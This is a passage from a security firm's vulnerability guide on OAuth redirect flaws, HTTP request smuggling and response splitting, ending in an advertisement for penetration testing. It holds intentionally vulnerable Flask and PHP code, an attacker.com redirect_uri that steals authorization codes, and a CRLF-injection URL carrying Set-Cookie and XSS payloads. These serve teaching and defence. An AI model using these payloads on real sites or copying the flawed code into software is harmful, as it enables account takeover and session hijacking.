# In a real app, this should match a specific, hardcoded URL.
REDIRECT_URI = "http://localhost:5000/callback"
@app.route('/login')
def login():
# VULNERABLE: Missing or weak 'state' parameter for CSRF protection
# For simplicity, no state generated or stored here.
auth_url = (
f"{AUTHORIZATION_BASE_URL}?"
f"response_type=code&client_id={CLIENT_ID}&redirect_uri={REDIRECT_URI}&scope=profile"
)
return redirect(auth_url)
@app.route('/callback')
def callback():
code = request.args.get('code')
# VULNERABLE: No validation of 'state' parameter (if it were implemented)
if not code:
return "Authorization code missing", 400
token_payload = {
'grant_type': 'authorization_code',
'code': code,
'redirect_uri': REDIRECT_URI, # VULNERABLE if provider reflects this back without strict check
'client_id': CLIENT_ID,
'client_secret': CLIENT_SECRET # VULNERABLE if this is exposed or hardcoded
}
try:
token_response = requests.post(TOKEN_URL, data=token_payload)
token_response.raise_for_status()
tokens = token_response.json()
access_token = tokens.get('access_token')
# VULNERABLE: No validation of ID token signature or claims (if OpenID Connect)
# Use access_token to fetch user info
userinfo_response = requests.get(USERINFO_URL, headers={'Authorization': f'Bearer {access_token}'})
userinfo_response.raise_for_status()
user_info = userinfo_response.json()
session['user_id'] = user_info.get('sub')
session['username'] = user_info.get('name')
return redirect(url_for('dashboard'))
except requests.exceptions.RequestException as e:
return f"OAuth error: {e}", 500
# Attacker scenario for Insecure Redirect URI:
# 1. Attacker crafts a malicious redirect URI:
# http://oauth-provider.com/oauth/authorize?client_id=YOUR_CLIENT_ID&redirect_uri=http://attacker.com/oauth-steal&response_type=code&scope=profile
# 2. Attacker tricks victim into clicking this link.
# 3. Victim authorizes the application on the legitimate OAuth provider.
# 4. OAuth provider redirects the victim (with the authorization code) to http://attacker.com/oauth-steal.
# 5. Attacker's server intercepts the authorization code and exchanges it for an access token, gaining access to victim's account.
Business and Technical Impact:
Business Impact: Account takeovers, unauthorized access to user data and resources on the OAuth provider, impersonation, data breaches, reputation damage, and significant legal and financial consequences.
Technical Impact: Compromise of user accounts, bypassing authentication and authorization controls, interception of authorization codes/tokens, and unauthorized access to protected resources.
Fix & Prevention Best Practices:
Strict Redirect URI Whitelisting: Register and enforce a strict whitelist of exact redirect_uri values with your Identity Provider. Never allow dynamic or partially matching redirect URIs.
Implement and Validate state Parameter: Always generate a unique, cryptographically random state parameter for each OAuth authorization request. Store it securely in the user's session and rigorously validate it upon callback to prevent CSRF attacks.
Secure Client Secrets & PKCE: For confidential clients, keep client_secret confidential and stored securely. For public clients (e.g., SPAs, mobile apps), implement the Proof Key for Code Exchange (PKCE) extension to mitigate authorization code interception attacks.
Detailed Description:
HTTP Request Smuggling and HTTP Response Splitting are two distinct but related vulnerabilities that exploit ambiguities in how different HTTP components (proxies, load balancers, web servers) interpret HTTP messages. They can lead to severe attacks like session hijacking, cross-site scripting (XSS), cache poisoning, and bypassing security controls.
HTTP Request Smuggling:
This vulnerability arises when there's an inconsistency between a front-end proxy/load balancer and a back-end web server in how they interpret the Content-Length and Transfer-Encoding HTTP headers. If they disagree on where one request ends and the next begins, an attacker can "smuggle" a second, malicious HTTP request within the body of a legitimate one. The front-end might see it as one request, while the back-end sees it as two.
CL.TE (Content-Length, Transfer-Encoding): Front-end uses Content-Length, back-end uses Transfer-Encoding.
TE.CL (Transfer-Encoding, Content-Length): Front-end uses Transfer-Encoding, back-end uses Content-Length.
TE.TE (Transfer-Encoding, Transfer-Encoding): Both use Transfer-Encoding but one can be obfuscated to make only one parser recognize it.
Attackers can use request smuggling to:
Bypass Security Controls: Smuggle requests that bypass WAFs or other filters.
Session Hijacking: Inject Set-Cookie headers into a subsequent request, fixing a session.
Cache Poisoning: Inject responses that poison web caches, serving malicious content to other users.
Access Internal APIs: If the smuggled request appears to originate from the internal network.
HTTP Response Splitting:
This vulnerability occurs when an attacker can inject CRLF characters (carriage return %0D and line feed %0A) into user-supplied input that is then reflected in an HTTP response header, particularly a Location header for redirects or a Set-Cookie header. By injecting CRLF, an attacker can effectively terminate the current header and begin new headers or even a new HTTP response.
Attackers can use response splitting to:
HTTP Header Injection: Inject arbitrary HTTP response headers (e.g., Set-Cookie to perform session fixation or Location to perform open redirect).
Cache Poisoning: Inject an entirely new HTTP response, tricking caching proxies into serving malicious content to other users.
Cross-Site Scripting (XSS): If an attacker can inject an arbitrary header like Content-Type: text/html followed by malicious HTML, it can trigger XSS.
Both vulnerabilities are low-level and often complex to exploit but have high impact, affecting not just the immediate user but potentially all users behind the same proxy/cache.
Example Code Snippet (Response Splitting):
A PHP script that performs a redirect based on a user-supplied parameter without sanitizing CRLF characters.
// Vulnerable PHP code snippet for HTTP Response Splitting
<?php
$redirect_url = $_GET['url']; // User-supplied URL
// VULNERABLE: No sanitization of CRLF characters in $redirect_url
// If $redirect_url contains %0D%0A (CRLF), it can inject new headers.
header("Location: " . $redirect_url);
?>
// Attacker's URL: http://example.com/redirect.php?url=http://legitimate.com%0D%0ASet-Cookie:%20session_id=attacker_session%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection:0%0D%0A%0D%0A<script>alert('XSS!')</script>
// The server constructs the header:
// Location: http://legitimate.com
// Set-Cookie: session_id=attacker_session
// Content-Type: text/html
// X-XSS-Protection:0
//
// <script>alert('XSS!')</script>
// This effectively injects a new HTTP response with XSS payload and cookie fixation.
Business and Technical Impact:
Business Impact: Session hijacking, cache poisoning (serving malicious content to all users), cross-site scripting (XSS), defacement, bypassing security controls, and severe reputational damage.
Technical Impact: Compromise of HTTP communication, unauthorized access to user sessions, manipulation of web cache, execution of client-side scripts, and potential for full client-side takeover.
Fix & Prevention Best Practices:
Normalize Headers (Request Smuggling): Ensure all web servers, proxies, and load balancers in the chain use a consistent interpretation of Content-Length and Transfer-Encoding headers. Ideally, disable Transfer-Encoding: chunked if not strictly needed, or ensure strict parsing.
Sanitize User Input (Response Splitting): Rigorously validate and sanitize all user-supplied input that might be reflected in HTTP response headers. Specifically, strip out or encode all CRLF characters (%0D, %0A) to prevent header injection.
Use Robust Libraries and Frameworks: Utilize up-to-date web server software, application frameworks, and proxy configurations that are known to be resilient against these header manipulation attacks. Avoid manually constructing HTTP headers from unsanitized user input.
Web application vulnerabilities remain one of the most underestimated business risks of our time. What begins as a small oversight in code or configuration can quickly escalate into a full-scale breach — resulting in financial losses, regulatory penalties, and lasting damage to customer trust. In today’s connected environment, security isn’t a one-time checkbox, it’s a continuous process.
From Remote Code Execution and SQL Injection to subtle misconfigurations and outdated dependencies, every vulnerability on this list represents a potential gateway for attackers. The good news is that each can be prevented through disciplined testing, secure development practices, and proactive monitoring.
At DeepStrike, we help organizations turn security from a liability into a competitive advantage. Our continuous penetration testing programs simulate real-world attacks across web, API, and cloud environments to uncover vulnerabilities before adversaries do. Beyond identifying weaknesses, we provide actionable remediation guidance and ongoing
validation to ensure your defenses evolve as fast as your applications do.
In short, protecting your web applications isn’t just about compliance, it’s about preserving business continuity, reputation, and customer confidence. The earlier you identify vulnerabilities, the less costly they become to fix.
Stay secure with DeepStrike penetration testing services. Reach out for a quote or customized technical proposal today
Contact Us